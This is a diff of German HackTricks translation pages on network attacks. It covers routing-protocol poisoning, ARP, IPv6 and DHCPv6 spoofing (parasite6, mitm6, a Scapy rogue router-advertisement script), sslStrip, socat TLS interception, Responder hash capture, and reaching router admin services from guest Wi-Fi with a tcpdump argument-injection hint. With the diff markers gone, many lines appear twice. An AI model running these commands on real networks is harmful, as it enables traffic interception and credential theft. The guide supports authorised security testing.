Drei Versionen des Routing Information Protocol (RIP) sind bekannt: RIP, RIPv2 und RIPng. Datagramme werden von RIP und RIPv2 über Port 520 mit UDP an Peers gesendet, während Datagramme von RIPng über IPv6-Multicast an UDP-Port 521 gesendet werden. Die Unterstützung für MD5-Authentifizierung wurde von RIPv2 eingeführt. Auf der anderen Seite ist native Authentifizierung in RIPng nicht integriert; stattdessen wird auf optionale IPsec AH- und ESP-Header innerhalb von IPv6 vertraut.
Drei Versionen des Routing Information Protocol (RIP) sind bekannt: RIP, RIPv2 und RIPng. Datagramme werden von RIP und RIPv2 über Port 520 mit UDP an Peers gesendet, während Datagramme von RIPng über IPv6-Multicast an UDP-Port 521 gesendet werden. Die Unterstützung für MD5-Authentifizierung wurde von RIPv2 eingeführt. Im Gegensatz dazu ist native Authentifizierung in RIPng nicht integriert; stattdessen wird auf optionale IPsec AH- und ESP-Header innerhalb von IPv6 vertraut.
- **RIP und RIPv2:** Die Kommunikation erfolgt über UDP-Datagramme auf Port 520.
- **RIPng:** Nutzt UDP-Port 521 für das Broadcasten von Datagrammen über IPv6-Multicast.
@ -558,21 +561,21 @@ Beachten Sie, dass RIPv2 MD5-Authentifizierung unterstützt, während RIPng kein
### EIGRP Angriffe
**EIGRP (Enhanced Interior Gateway Routing Protocol)** ist ein dynamisches Routing-Protokoll. **Es ist ein Distanzvektorprotokoll.** Wenn es **keine Authentifizierung** und Konfiguration von passiven Schnittstellen gibt, kann ein **Angreifer** in das EIGRP-Routing eingreifen und **Routing-Tabellen vergiften**. Darüber hinaus ist das EIGRP-Netzwerk (mit anderen Worten, das autonome System) **flach und hat keine Segmentierung in Zonen**. Wenn ein **Angreifer eine Route injiziert**, ist es wahrscheinlich, dass sich diese Route im gesamten autonomen EIGRP-System **verbreitet**.
**EIGRP (Enhanced Interior Gateway Routing Protocol)** ist ein dynamisches Routing-Protokoll. **Es ist ein Distance-Vector-Protokoll.** Wenn es **keine Authentifizierung** und keine Konfiguration von passiven Schnittstellen gibt, kann ein **Angreifer** in das EIGRP-Routing eingreifen und **Routing-Tabellen vergiften**. Darüber hinaus ist das EIGRP-Netzwerk (mit anderen Worten, das autonome System) **flach und hat keine Segmentierung in Zonen**. Wenn ein **Angreifer eine Route injiziert**, ist es wahrscheinlich, dass sich diese Route im gesamten autonomen EIGRP-System **verbreitet**.
Um ein EIGRP-System anzugreifen, ist es erforderlich, **eine Nachbarschaft mit einem legitimen EIGRP-Router herzustellen**, was viele Möglichkeiten eröffnet, von grundlegender Aufklärung bis hin zu verschiedenen Injektionen.
[**FRRouting**](https://frrouting.org/) ermöglicht es Ihnen, **einen virtuellen Router zu implementieren, der BGP, OSPF, EIGRP, RIP und andere Protokolle unterstützt.** Alles, was Sie tun müssen, ist, es auf dem System des Angreifers bereitzustellen, und Sie können tatsächlich vorgeben, ein legitimer Router im Routing-Domain zu sein.
[**FRRouting**](https://frrouting.org/) ermöglicht es Ihnen, **einen virtuellen Router zu implementieren, der BGP, OSPF, EIGRP, RIP und andere Protokolle unterstützt.** Alles, was Sie tun müssen, ist, ihn auf dem System des Angreifers bereitzustellen, und Sie können tatsächlich vorgeben, ein legitimer Router im Routing-Domain zu sein.
{{#ref}}
eigrp-attacks.md
{{#endref}}
[**Coly**](https://code.google.com/p/coly/) hat die Fähigkeit, EIGRP (Enhanced Interior Gateway Routing Protocol) Broadcasts abzufangen. Es ermöglicht auch die Injektion von Paketen, die verwendet werden können, um Routing-Konfigurationen zu ändern.
[**Coly**](https://code.google.com/p/coly/) hat Fähigkeiten zum Abfangen von EIGRP (Enhanced Interior Gateway Routing Protocol) Broadcasts. Es ermöglicht auch die Injektion von Paketen, die verwendet werden können, um Routing-Konfigurationen zu ändern.
### OSPF
Im Open Shortest Path First (OSPF) Protokoll wird **MD5-Authentifizierung häufig verwendet, um eine sichere Kommunikation zwischen Routern zu gewährleisten**. Diese Sicherheitsmaßnahme kann jedoch mit Tools wie Loki und John the Ripper kompromittiert werden. Diese Tools sind in der Lage, MD5-Hashes zu erfassen und zu knacken, wodurch der Authentifizierungsschlüssel offengelegt wird. Sobald dieser Schlüssel erhalten ist, kann er verwendet werden, um neue Routing-Informationen einzuführen. Um die Routenparameter zu konfigurieren und den kompromittierten Schlüssel festzulegen, werden die _Injection_- und _Connection_-Tabs verwendet.
Im Open Shortest Path First (OSPF) Protokoll **wird MD5-Authentifizierung häufig verwendet, um eine sichere Kommunikation zwischen Routern zu gewährleisten**. Diese Sicherheitsmaßnahme kann jedoch mit Tools wie Loki und John the Ripper kompromittiert werden. Diese Tools sind in der Lage, MD5-Hashes zu erfassen und zu knacken, wodurch der Authentifizierungsschlüssel offengelegt wird. Sobald dieser Schlüssel erlangt wurde, kann er verwendet werden, um neue Routing-Informationen einzuführen. Um die Routenparameter zu konfigurieren und den kompromittierten Schlüssel festzulegen, werden die _Injection_- und _Connection_-Tabs verwendet.
- **Erfassen und Knacken von MD5-Hashes:** Tools wie Loki und John the Ripper werden dafür verwendet.
- **Konfigurieren von Routenparametern:** Dies erfolgt über den _Injection_-Tab.
@ -580,7 +583,7 @@ Im Open Shortest Path First (OSPF) Protokoll wird **MD5-Authentifizierung häufi
### Andere generische Tools & Quellen
- [**Above**](https://github.com/c4s73r/Above): Tool zum Scannen von Netzwerkverkehr und Finden von Schwachstellen
- [**Above**](https://github.com/c4s73r/Above): Tool zum Scannen des Netzwerkverkehrs und Finden von Schwachstellen
- Sie können einige **weitere Informationen über Netzwerkangriffe** [**hier**](https://github.com/Sab0tag3d/MITM-cheatsheet) finden.
## **Spoofing**
@ -615,7 +618,7 @@ dig @localhost domain.example.com # Test the configured DNS
```
### Lokale Gateways
Es gibt oft mehrere Routen zu Systemen und Netzwerken. Nachdem Sie eine Liste von MAC-Adressen im lokalen Netzwerk erstellt haben, verwenden Sie _gateway-finder.py_, um Hosts zu identifizieren, die IPv4-Weiterleitung unterstützen.
Es existieren oft mehrere Routen zu Systemen und Netzwerken. Nachdem eine Liste von MAC-Adressen im lokalen Netzwerk erstellt wurde, verwenden Sie _gateway-finder.py_, um Hosts zu identifizieren, die IPv4-Weiterleitung unterstützen.
```
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
@ -645,7 +648,7 @@ Lesen Sie hier mehr Informationen darüber, [wie man Dienste mit Responder nacha
Browser verwenden häufig das **Web Proxy Auto-Discovery (WPAD)-Protokoll, um automatisch Proxy-Einstellungen zu erwerben**. Dies beinhaltet das Abrufen von Konfigurationsdetails von einem Server, insbesondere über eine URL wie "http://wpad.example.org/wpad.dat". Die Entdeckung dieses Servers durch die Clients kann durch verschiedene Mechanismen erfolgen:
- Über **DHCP**, wo die Entdeckung durch die Nutzung eines speziellen Codes 252 Eintrags erleichtert wird.
- Durch **DNS**, was das Suchen nach einem Hostnamen mit der Bezeichnung _wpad_ innerhalb der lokalen Domäne umfasst.
- Durch **DNS**, was die Suche nach einem Hostnamen mit der Bezeichnung _wpad_ innerhalb der lokalen Domäne umfasst.
- Über **Microsoft LLMNR und NBT-NS**, die als Fallback-Mechanismen verwendet werden, wenn DNS-Abfragen nicht erfolgreich sind.
Das Tool Responder nutzt dieses Protokoll, indem es als **bösartiger WPAD-Server** fungiert. Es verwendet DHCP, DNS, LLMNR und NBT-NS, um Clients in die Irre zu führen und sie dazu zu bringen, sich mit ihm zu verbinden. Um tiefer in die Nachahmung von Diensten mit Responder einzutauchen, [prüfen Sie dies](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
@ -656,7 +659,7 @@ Sie können verschiedene Dienste im Netzwerk anbieten, um zu versuchen, einen **
### IPv6 Neighbor Spoofing
Dieser Angriff ist sehr ähnlich zu ARP Spoofing, jedoch in der IPv6-Welt. Sie können das Opfer dazu bringen zu denken, dass die IPv6 des GW die MAC des Angreifers hat.
Dieser Angriff ist sehr ähnlich zu ARP Spoofing, jedoch in der IPv6-Welt. Sie können das Opfer dazu bringen zu glauben, dass die IPv6 des GW die MAC des Angreifers hat.
```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
@ -684,7 +687,7 @@ mitm6
### sslStrip
Im Grunde genommen bewirkt dieser Angriff, dass, falls der **Benutzer** versucht, eine **HTTP**-Seite zu **zugreifen**, die auf die **HTTPS**-Version **umgeleitet** wird. **sslStrip** wird eine **HTTP-Verbindung mit** dem **Client** und eine **HTTPS-Verbindung mit** dem **Server** **aufrechterhalten**, sodass es in der Lage ist, die Verbindung im **Klartext** zu **sniffen**.
Im Grunde genommen besteht dieser Angriff darin, dass, falls der **Benutzer** versucht, eine **HTTP**-Seite zu **zugreifen**, die auf die **HTTPS**-Version **umleitet**. **sslStrip** wird eine **HTTP-Verbindung mit** dem **Client** und eine **HTTPS-Verbindung mit** dem **Server** **aufrechterhalten**, sodass er die Verbindung im **Klartext** **abhören** kann.
```bash
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
@ -697,14 +700,14 @@ Mehr Informationen [hier](https://www.blackhat.com/presentations/bh-dc-09/Marlin
### sslStrip+ und dns2proxy zum Umgehen von HSTS
Der **Unterschied** zwischen **sslStrip+ und dns2proxy** im Vergleich zu **sslStrip** besteht darin, dass sie beispielsweise _**www.facebook.com**_ **auf** _**wwww.facebook.com**_ **umleiten** (beachten Sie das **zusätzliche** "**w**") und die **Adresse dieser Domain als die IP des Angreifers** festlegen. Auf diese Weise wird der **Client** mit _**wwww.facebook.com**_ **(dem Angreifer)** **verbinden**, während **sslstrip+** im Hintergrund die **echte Verbindung** über https mit **www.facebook.com** **aufrechterhält**.
Der **Unterschied** zwischen **sslStrip+ und dns2proxy** im Vergleich zu **sslStrip** besteht darin, dass sie beispielsweise _**www.facebook.com**_ **zu** _**wwww.facebook.com**_ **umleiten** (beachten Sie das **zusätzliche** "**w**") und die **Adresse dieser Domain als die Angreifer-IP** festlegen. Auf diese Weise wird der **Client** mit _**wwww.facebook.com**_ **(dem Angreifer)** **verbinden**, während **sslstrip+** im Hintergrund die **echte Verbindung** über https mit **www.facebook.com** **aufrechterhält**.
Das **Ziel** dieser Technik ist es, **HSTS zu vermeiden**, da _**wwww**.facebook.com_ **nicht** im **Cache** des Browsers gespeichert wird, sodass der Browser dazu verleitet wird, die **Facebook-Authentifizierung in HTTP** durchzuführen.\
Beachten Sie, dass das Opfer zunächst versuchen muss, [http://www.faceook.com](http://www.faceook.com) und nicht https aufzurufen. Dies kann durch das Modifizieren der Links innerhalb einer http-Seite erfolgen.
Beachten Sie, dass das Opfer zunächst versuchen muss, auf [http://www.faceook.com](http://www.faceook.com) und nicht auf https zuzugreifen. Dies kann durch das Modifizieren der Links innerhalb einer http-Seite erfolgen.
Mehr Informationen [hier](https://www.bettercap.org/legacy/#hsts-bypass), [hier](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) und [hier](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
**sslStrip oder sslStrip+ funktionieren nicht mehr. Das liegt daran, dass HSTS-Regeln in den Browsern vorab gespeichert sind, sodass selbst wenn es das erste Mal ist, dass ein Benutzer auf eine "wichtige" Domain zugreift, er dies über HTTPS tun wird. Beachten Sie auch, dass die vorab gespeicherten Regeln und andere generierte Regeln das Flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **verwenden können, sodass das Beispiel von** _**wwww.facebook.com**_ **von zuvor nicht mehr funktioniert, da** _**facebook.com**_ **HSTS mit `includeSubdomains` verwendet.**
**sslStrip oder sslStrip+ funktioniert nicht mehr. Das liegt daran, dass HSTS-Regeln in den Browsern vorab gespeichert sind, sodass selbst wenn es das erste Mal ist, dass ein Benutzer auf eine "wichtige" Domain zugreift, er dies über HTTPS tun wird. Beachten Sie auch, dass die vorab gespeicherten Regeln und andere generierte Regeln das Flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **verwenden können, sodass das Beispiel von** _**wwww.facebook.com**_ **von zuvor nicht mehr funktioniert, da** _**facebook.com**_ **HSTS mit `includeSubdomains` verwendet.**
TODO: easy-creds, evilgrade, metasploit, factory
@ -733,10 +736,10 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
```
Manchmal, wenn der Client überprüft, dass die CA gültig ist, könntest du **ein Zertifikat eines anderen Hostnamens, das von einer CA signiert ist, bereitstellen**.\
Manchmal, wenn der Kunde überprüft, dass die CA gültig ist, könntest du **ein Zertifikat eines anderen Hostnamens, das von einer CA signiert ist, bereitstellen**.\
Ein weiterer interessanter Test ist, ein **Zertifikat des angeforderten Hostnamens, aber selbstsigniert, bereitzustellen**.
Andere Dinge, die man testen kann, sind zu versuchen, das Zertifikat mit einem gültigen Zertifikat zu signieren, das keine gültige CA ist. Oder den gültigen öffentlichen Schlüssel zu verwenden, um einen Algorithmus wie Diffie-Hellman zu erzwingen (einen, der nichts mit dem echten privaten Schlüssel entschlüsseln muss) und wenn der Client eine Anfrage nach dem echten privaten Schlüssel (wie einen Hash) stellt, eine gefälschte Anfrage zu senden und zu erwarten, dass der Client dies nicht überprüft.
Andere Dinge, die man testen kann, sind zu versuchen, das Zertifikat mit einem gültigen Zertifikat zu signieren, das keine gültige CA ist. Oder den gültigen öffentlichen Schlüssel zu verwenden, um einen Algorithmus wie Diffie-Hellman zu erzwingen (einen, der nichts mit dem echten privaten Schlüssel entschlüsseln muss) und wenn der Kunde eine Anfrage nach dem echten privaten Schlüssel (wie einen Hash) stellt, eine gefälschte Anfrage zu senden und zu erwarten, dass der Kunde dies nicht überprüft.
## Bettercap
```bash
@ -764,19 +767,19 @@ set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap
```
### Aktive Entdeckungsnotizen
### Active Discovery Notes
Beachten Sie, dass beim Senden eines UDP-Pakets an ein Gerät, das den angeforderten Port nicht hat, ein ICMP (Port Unreachable) gesendet wird.
### **ARP-Entdeckung**
### **ARP discover**
ARP-Pakete werden verwendet, um herauszufinden, welche IPs im Netzwerk verwendet werden. Der PC muss eine Anfrage für jede mögliche IP-Adresse senden, und nur die verwendeten werden antworten.
### **mDNS (Multicast DNS)**
### **mDNS (multicast DNS)**
Bettercap sendet eine MDNS-Anfrage (alle X ms), die nach **\_services\_.dns-sd.\_udp.local** fragt. Die Maschine, die dieses Paket sieht, antwortet normalerweise auf diese Anfrage. Dann sucht sie nur nach Maschinen, die auf "services" antworten.
**Werkzeuge**
**Tools**
- Avahi-browser (--all)
- Bettercap (net.probe.mdns)
@ -794,17 +797,17 @@ Bettercap sendet Broadcast-SSDP-Pakete, die nach allen Arten von Diensten suchen
Bettercap sendet Broadcast-WSD-Pakete, die nach Diensten suchen (UDP-Port 3702).
### Telekom / Mobile-Core (GTP) Ausnutzung
### Telecom / Mobile-Core (GTP) Exploitation
{{#ref}}
telecom-network-exploitation.md
{{#endref}}
## Referenzen
## References
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- **Network Security Assessment: Know Your Network (3. Auflage)**
- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. Von Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
- **Network Security Assessment: Know Your Network (3rd edition)**
- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -45,14 +45,14 @@ IPv6-Adressen können aus der MAC-Adresse eines Geräts für die lokale Kommunik
Gegeben ist eine MAC-Adresse **`12:34:56:78:9a:bc`**, die Link-Local IPv6-Adresse kann wie folgt konstruiert werden:
1. MAC in IPv6-Format umwandeln: **`1234:5678:9abc`**
2. `fe80::` voranstellen und `fffe` in die Mitte einfügen: **`fe80::1234:56ff:fe78:9abc`**
3. Das siebte Bit von links umkehren, wodurch `1234` zu `1034` wird: **`fe80::1034:56ff:fe78:9abc`**
2. `fe80::` voranstellen und `fffe` in der Mitte einfügen: **`fe80::1234:56ff:fe78:9abc`**
3. Das siebte Bit von links umkehren, `1234` zu `1034` ändern: **`fe80::1034:56ff:fe78:9abc`**
### **IPv6-Adresstypen**
- **Unique Local Address (ULA)**: Für lokale Kommunikation, nicht für das Routing im öffentlichen Internet gedacht. Präfix: **`FEC00::/7`**
- **Multicast-Adresse**: Für Eins-zu-viele-Kommunikation. An alle Schnittstellen in der Multicast-Gruppe geliefert. Präfix: **`FF00::/8`**
- **Anycast-Adresse**: Für Eins-zu-nächster Kommunikation. An die nächstgelegene Schnittstelle gemäß Routing-Protokoll gesendet. Teil des **`2000::/3`** globalen Unicast-Bereichs.
- **Anycast-Adresse**: Für Eins-zu-nächste-Kommunikation. An die nächstgelegene Schnittstelle gemäß Routing-Protokoll gesendet. Teil des **`2000::/3`** globalen Unicast-Bereichs.
### **Adresspräfixe**
@ -66,7 +66,7 @@ Gegeben ist eine MAC-Adresse **`12:34:56:78:9a:bc`**, die Link-Local IPv6-Adress
#### Methode 1: Verwendung von Link-Local-Adressen
1. Ermitteln Sie die MAC-Adresse eines Geräts im Netzwerk.
1. Erhalten Sie die MAC-Adresse eines Geräts im Netzwerk.
2. Leiten Sie die Link-Local IPv6-Adresse aus der MAC-Adresse ab.
#### Methode 2: Verwendung von Multicast
@ -83,7 +83,7 @@ Es gibt mehrere Techniken zur Durchführung von MitM-Angriffen in IPv6-Netzwerke
- Spoofing von ICMPv6-Nachbar- oder Router-Anzeigen.
- Verwendung von ICMPv6-Redirect- oder "Packet Too Big"-Nachrichten zur Manipulation des Routings.
- Angriffe auf mobiles IPv6 (erfordert normalerweise, dass IPSec deaktiviert ist).
- Angriff auf mobiles IPv6 (erfordert normalerweise, dass IPSec deaktiviert ist).
- Einrichten eines bösartigen DHCPv6-Servers.
## Identifizierung von IPv6-Adressen im Feld
@ -232,7 +232,7 @@ sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
| Flag | Bedeutung | Effekt auf das Verhalten des Clients |
|------|-----------|-------------------------------------|
| **M (Managed Address Configuration)** | Wenn auf `1` gesetzt, muss der Host **DHCPv6** verwenden, um seine IPv6-Adresse zu erhalten. | Die gesamte Adressierung erfolgt über DHCPv6 perfekt für *mitm6* Stilvergiftung. |
| **O (Other Configuration)** | Wenn auf `1` gesetzt, sollte der Host **DHCPv6** nur verwenden, um *andere* Informationen (DNS, NTP, …) zu erhalten. | Adresse weiterhin über SLAAC, aber DNS kann mit DHCPv6 gehijackt werden. |
| **O (Other Configuration)** | Wenn auf `1` gesetzt, sollte der Host **DHCPv6** nur verwenden, um *andere* Informationen (DNS, NTP, …) zu erhalten. | Adresse weiterhin über SLAAC, aber DNS kann mit DHCPv6 hijacked werden. |
| **M=0 / O=0** | Reines SLAAC-Netzwerk. | Nur RA / RDNSS-Tricks sind möglich DHCPv6 wird von Clients nicht gesendet. |
| **M=1 / O=1** | Gemischte Umgebung. | Sowohl DHCPv6 als auch SLAAC werden verwendet; die Angriffsfläche für Spoofing ist am größten. |
@ -244,13 +244,13 @@ Suchen Sie nach dem Feld `flags [M,O]` im Dump kein Raten erforderlich.
Das **Prf** (Router Preference) Feld im RA-Header steuert, wie attraktiv Ihr rogue Router aussieht, wenn *mehrere* Gateways vorhanden sind:
| Prf-Wert | Binär | Bedeutung |
|----------|--------|-----------|
| **Hoch** | `10` | Clients bevorzugen diesen Router gegenüber jedem *Medium*/*Niedrig* Router |
| Medium (Standard) | `01` | Wird von fast jedem legitimen Gerät verwendet |
| Niedrig | `00` | Wird nur gewählt, wenn kein besserer Router vorhanden ist |
| Prf-Wert | Binär | Bedeutung |
|----------|-------|-----------|
| **Hoch** | `10` | Clients bevorzugen diesen Router gegenüber jedem *Mittleren*/*Niedrigen* |
| Mittel (Standard) | `01` | Wird von fast jedem legitimen Gerät verwendet |
| Niedrig | `00` | Wird nur gewählt, wenn kein besserer Router vorhanden ist |
Beim Generieren des Pakets mit Scapy können Sie es über den `prf`-Parameter einstellen, wie oben gezeigt (`prf=0x1` → Hoch). Die Kombination aus **Hoch Prf**, einem **kurzen Intervall** und einer **nicht null Lebensdauer** macht Ihr rogue Gateway bemerkenswert stabil.
Beim Generieren des Pakets mit Scapy können Sie es über den `prf`-Parameter wie oben gezeigt festlegen (`prf=0x1` → Hoch). Die Kombination aus **Hoch Prf**, einem **kurzen Intervall** und einer **nicht null Lebensdauer** macht Ihr rogue Gateway bemerkenswert stabil.
---
@ -263,11 +263,12 @@ from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('--llip',required=True)
p.add_argument('--dns',required=True,help='Fake DNS IPv6')
p.add_argument('--lifetime',type=int,default=600)
p.add_argument('--interval',type=int,default=5)
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
@ -280,7 +281,7 @@ Clients will **prepend** your DNS to their resolver list for the given lifetime,
### DHCPv6 DNS Spoofing (mitm6)
Anstatt SLAAC verlassen sich Windows-Netzwerke oft auf **stateless DHCPv6** für DNS. [mitm6](https://github.com/rofl0r/mitm6) antwortet automatisch auf `Solicit`-Nachrichten mit einem **Advertise → Reply**-Fluss, der **deine Link-Local-Adresse als DNS für 300 Sekunden zuweist**. Dies ermöglicht:
Statt SLAAC verlassen sich Windows-Netzwerke oft auf **stateless DHCPv6** für DNS. [mitm6](https://github.com/rofl0r/mitm6) antwortet automatisch auf `Solicit`-Nachrichten mit einem **Advertise → Reply**-Fluss, der **deine Link-Local-Adresse für 300 Sekunden als DNS zuweist**. Dies ermöglicht:
* NTLM-Relay-Angriffe (WPAD + DNS-Hijacking)
* Abfangen interner Namensauflösungen, ohne Router zu berühren
@ -292,17 +293,65 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
### Verteidigungen
* **RA Guard / DHCPv6 Guard / ND Inspection** auf verwalteten Switches.
* Port-ACLs, die nur die MAC des legitimen Routers das Senden von RAs erlauben.
* Port-ACLs, die nur die MAC-Adresse des legitimen Routers erlauben, RAs zu senden.
* Überwachen auf **unsolide hochfrequente RAs** oder plötzliche **RDNSS-Änderungen**.
* Das Deaktivieren von IPv6 an Endpunkten ist eine vorübergehende Lösung, die oft moderne Dienste unterbricht und blinde Flecken verbirgt bevorzuge stattdessen L2-Filterung.
### NDP-Routerentdeckung auf Gast-/Öffentlichen SSIDs und Exposition von Verwaltungsdiensten
Viele Consumer-Router exponieren Verwaltungs-Daemons (HTTP(S), SSH/Telnet, TR-069 usw.) auf allen Schnittstellen. In einigen Implementierungen ist die „Gast/öffentliche“ SSID mit dem WAN/Kern verbunden und ist nur IPv6. Selbst wenn sich die IPv6-Adresse des Routers bei jedem Boot ändert, kannst du sie zuverlässig mit NDP/ICMPv6 erlernen und dann direkt von der Gast-SSID auf die Verwaltungs-Ebene zugreifen.
Typischer Workflow von einem Client, der mit der Gast-/öffentlichen SSID verbunden ist:
1) Entdecke den Router über ICMPv6 Router Solicitation an die All-Routers-Multicast-Adresse `ff02::2` und erfasse die Router Advertisement (RA):
```bash
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY
```
Die RA zeigt die link-lokale Adresse des Routers und oft eine globale Adresse/präfix an. Wenn nur eine link-lokale Adresse bekannt ist, denken Sie daran, dass Verbindungen den Zonenindex angeben müssen, z.B. `ssh -6 admin@[fe80::1%wlan0]`.
Alternative: Verwenden Sie die ndisc6-Suite, falls verfügbar:
```bash
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
```
2) Erreichen Sie exponierte Dienste über IPv6 vom Gast-SSID:
```bash
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
```
3) Wenn die Management-Shell Packet-Capture-Tools über einen Wrapper (z.B. tcpdump) bereitstellt, überprüfen Sie auf Argument-/Dateinameninjektion, die das Übergeben zusätzlicher tcpdump-Flags wie `-G/-W/-z` ermöglicht, um die Ausführung von Post-Rotate-Befehlen zu erreichen. Siehe:
{{#ref}}
../../linux-hardening/privilege-escalation/wildcards-spare-tricks.md
{{#endref}}
Abwehrmaßnahmen/Notizen:
- Binden Sie das Management nicht an Gast-/öffentliche Bridges; wenden Sie IPv6-Firewalls auf SSID-Bridges an.
- Begrenzen und filtern Sie NDP/RS/RA in Gastsegmenten, wo möglich.
- Für Dienste, die erreichbar sein müssen, erzwingen Sie AuthN/MFA und starke Ratenbegrenzungen.
## Referenzen
- [Legless IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
- [mitm6](https://github.com/rofl0r/mitm6)
- [RFC 8106 IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
- [RFC 8106 IPv6 ND DNS-Konfiguration](https://datatracker.ietf.org/doc/html/rfc8106)
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
- [Practical Guide to IPv6 Attacks in a Local Network](https://habr.com/ru/articles/930526/)
- [Praktischer Leitfaden zu IPv6-Angriffen in einem lokalen Netzwerk](https://habr.com/ru/articles/930526/)
- [FiberGateway GR241AG Vollständige Exploit-Kette](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -20,7 +20,7 @@
### Responder für Protokollvergiftung
- **Responder** ist ein Tool, das zur Vergiftung von LLMNR-, NBT-NS- und mDNS-Abfragen verwendet wird, das selektiv basierend auf Abfragetypen antwortet, hauptsächlich mit dem Ziel von SMB-Diensten.
- **Responder** ist ein Tool, das zur Vergiftung von LLMNR-, NBT-NS- und mDNS-Abfragen verwendet wird, das selektiv basierend auf Abfragetypen antwortet, wobei hauptsächlich SMB-Dienste im Fokus stehen.
- Es ist vorinstalliert in Kali Linux und konfigurierbar unter `/etc/responder/Responder.conf`.
- Responder zeigt erfasste Hashes auf dem Bildschirm an und speichert sie im Verzeichnis `/usr/share/responder/logs`.
- Es unterstützt sowohl IPv4 als auch IPv6.
@ -43,14 +43,14 @@
### Erfassen von Anmeldeinformationen mit Responder
- Responder wird Dienste, die die oben genannten Protokolle verwenden, impersonifizieren und Anmeldeinformationen (normalerweise NTLMv2 Challenge/Response) erfassen, wenn ein Benutzer versucht, sich gegen die gefälschten Dienste zu authentifizieren.
- Responder wird Dienste mithilfe der oben genannten Protokolle impersonifizieren und Anmeldeinformationen (normalerweise NTLMv2 Challenge/Response) erfassen, wenn ein Benutzer versucht, sich gegen die gefälschten Dienste zu authentifizieren.
- Es können Versuche unternommen werden, auf NetNTLMv1 herabzustufen oder ESS zu deaktivieren, um das Knacken von Anmeldeinformationen zu erleichtern.
Es ist wichtig zu beachten, dass der Einsatz dieser Techniken legal und ethisch erfolgen sollte, wobei die ordnungsgemäße Autorisierung sichergestellt und Störungen oder unbefugter Zugriff vermieden werden sollten.
Es ist wichtig zu beachten, dass der Einsatz dieser Techniken legal und ethisch erfolgen sollte, um die ordnungsgemäße Autorisierung sicherzustellen und Störungen oder unbefugten Zugriff zu vermeiden.
## Inveigh
Inveigh ist ein Tool für Penetrationstester und Red Teamer, das für Windows-Systeme entwickelt wurde. Es bietet Funktionen ähnlich wie Responder und führt Spoofing- und Man-in-the-Middle-Angriffe durch. Das Tool hat sich von einem PowerShell-Skript zu einer C#-Binärdatei entwickelt, mit [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) und [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) als den Hauptversionen. Detaillierte Parameter und Anweisungen finden Sie im [**Wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
Inveigh ist ein Tool für Penetrationstester und Red Teamer, das für Windows-Systeme entwickelt wurde. Es bietet Funktionen ähnlich wie Responder und führt Spoofing- und Man-in-the-Middle-Angriffe durch. Das Tool hat sich von einem PowerShell-Skript zu einer C#-Binary entwickelt, mit [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) und [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) als den Hauptversionen. Detaillierte Parameter und Anweisungen finden Sie im [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
Inveigh kann über PowerShell betrieben werden:
```bash
